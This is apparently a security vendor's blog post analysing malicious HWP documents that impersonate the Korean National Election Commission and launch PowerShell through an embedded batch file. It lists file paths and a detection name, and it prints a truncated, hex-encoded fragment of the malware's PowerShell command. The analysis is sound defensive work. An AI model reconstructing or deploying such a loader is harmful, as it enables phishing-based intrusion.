

Distribution of malicious Hangul documents disguised as press releases for the 20th presidential election onboard voting

asec.ahnlab.com/ko/32330

March 3, 2022

Ahead of the presidential election, the ASEC analysis team confirmed that malicious Korean documents disguised as “**press release on board the 20th presidential election**” **were being distributed**. The attacker distributed the malicious Korean document on February 28th, and the malicious document was not secured, but according to the company's AhnLab Smart Defense (ASD) infrastructure log, it is estimated that the batch file is driven through the internal OLE object to execute PowerShell. .

Distribution file name: Press release
(220228)_March_1st___March_4th_20th_Presidential Election_Shipboard
Voting_Conducted (final).hwp

[Figure 1] shows the batch file path and Korean file name confirmed in the infrastructure. While the same normal Korean document size is 2.06 MB, the malicious Korean document is 2.42 MB, and it seems that the document was created by inserting an additional BAT file inside.

File Name	File Size	File Path
hwp.exe	4.13 MB	%ProgramFiles%(x86)\hnc\hwp80\hwp.exe
cmd.exe	231 KB	%SystemRoot%\syswow64\cmd.exe
mx6.bat	5.15 KB	%SystemDrive%\users\%ASD%\appdata\local\temp\mx6.bat
iexplore.exe	822.47 KB	%ProgramFiles%\internet explorer\iexplore.exe

보도자료(220228)_3월_1일___3월_4일_제20대_대통령선거_선상투표_ 실시(최종).hwp	2.42 MB
--	---------

[Figure 1] ASD infrastructure collection

%TEMP%\mx6.bat (path of batch file creation)

A similar type of attack was also confirmed on February 7th. According to the article, the attacker impersonated the National Election Commission (NEC) and distributed malicious documents disguised as a normal document titled “Public Recruitment of Counting Observers for the 20th Presidential Election”.



“North Korean hackers distributing malicious press releases under the guise of the National Election Commission” | DailyNK

It was found on the 8th that a North Korean hacking organization was distributing hacking e-mails impersonating the National Election Commission (NEC). Considering the fact that the press release distributed by the National Election Commission was used, it is highly likely that the attack is being carried out targeting journalists in the media, so caution is required. The common features of the malicious Hanguk documents that were circulated at the time and the documents used in this attack are as follows.

- Dissemination of malicious Korean documents disguised as the same institution (NEC)

- Inducing Batch File Execution in OLE Object Way
- A PowerShell command containing a variable name (*\$kx9*) similar to the one used in the NEC impersonation attack on 2/7 (*\$ky4*)

Part of the PowerShell command: (*\$kx9* ='[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);')

```
"commandLine": "\"c:\\windows\\syswow64\\windowpowershell\\v1.0\\powershell.exe\" -command  
\"$tms=\"$eruk2=\"\"\"246b6b78393d275b446c6c496d706f727428227573657233322e646c6c22295d207075626c6963207374
```

[Figure 2] Some of the collected PowerShell commands

[Figure 3] below is a normal Korean document presumed to have been used by the attacker for distribution.

보도자료 220228 3월 1일 ~ 3월 4일 제20대 대통령선거 선상투표 실시 최종 [2164736 byte] 다운로드

보도자료 220228 3월 1일 ~ 3월 4일 제20대 대통령선거 선상투표 실시 최종 [2164736 byte]

제공일자 2022. 2. 28. 총 2면 www.nec.go.kr 공보과 02)3294-1002, 1003

3월 1일 ~ 3월 4일 제20대 대통령선거 선상투표 실시
= 선상투표기간 중 선장이 정한 일시에 444척의 선박에서 3,267명 참여 예정 =

선거법 안내 및 위반행위 신고 1390 || 한국선거방송 alleh tv 273번 U+tv 256번 SK Broadband 8tv 제1콜 209번

중앙선거관리위원회는 제20대 대통령선거의 선상투표가 3월 1일부터 4일까지의 기간 중 선장이 정한 일시에 444척의 선박에 승선하고 있는 3,267명을 대상으로 실시된다고 밝혔다.

선상투표는 대통령선거와 임기만료에 따른 국회의원선거에서 실시하며, 최근 제21대 국선에서는 선상투표신고인 2,821명 중 2,586명이 투표하여 91.7%의 투표율을 기록하였다.

※ 제19대 대선에서 선상투표신고인 4,090명 중 3,710명이 투표, 90.7%의 투표율 기록

선상투표용지는 2월 28일까지 각 선박에 (전자)팩시밀리로 전송하며, 선상투표자는 입회인이 참관한 가운데 선박에 설치된 투표소에서 투표한 후 (전자)팩시밀리를 이용하여 직접 투표지를 전송해야 한다. 투표지 전송은 중앙선관위

[Figure 3] Normal Korean document (press release
(220228)_March_1st____March_4th_20th_Presidential Election_Shipboard Voting_Conduct
(final).hwp)

Normal official Korean documents can be found on the official website of the National Election Commission (<https://www.nec.go.kr/>), and users should be skeptical when downloading similar documents from an unknown site.

<https://www.nec.go.kr/cmm/dozen/view.do?cbIdx=1090&bcIdx=164018&fileNo=1>
(Document download address)

The attackers seem to be carrying out various attacks impersonating the National Election Commission as the 20th presidential election approaches. AhnLab continues to monitor similar malicious behaviors and will share new information as soon as it becomes available.

[AhnLab V3 product correspondence]

[Behavior Detection]

– Execution/MDP.Powershell.M4208

Related IOCs and related detailed analysis information can be checked through AhnLab's next-generation threat intelligence platform 'AhnLab TIP' subscription service.



Categories: Malware information

Tagged as: National Election Commission , Korean document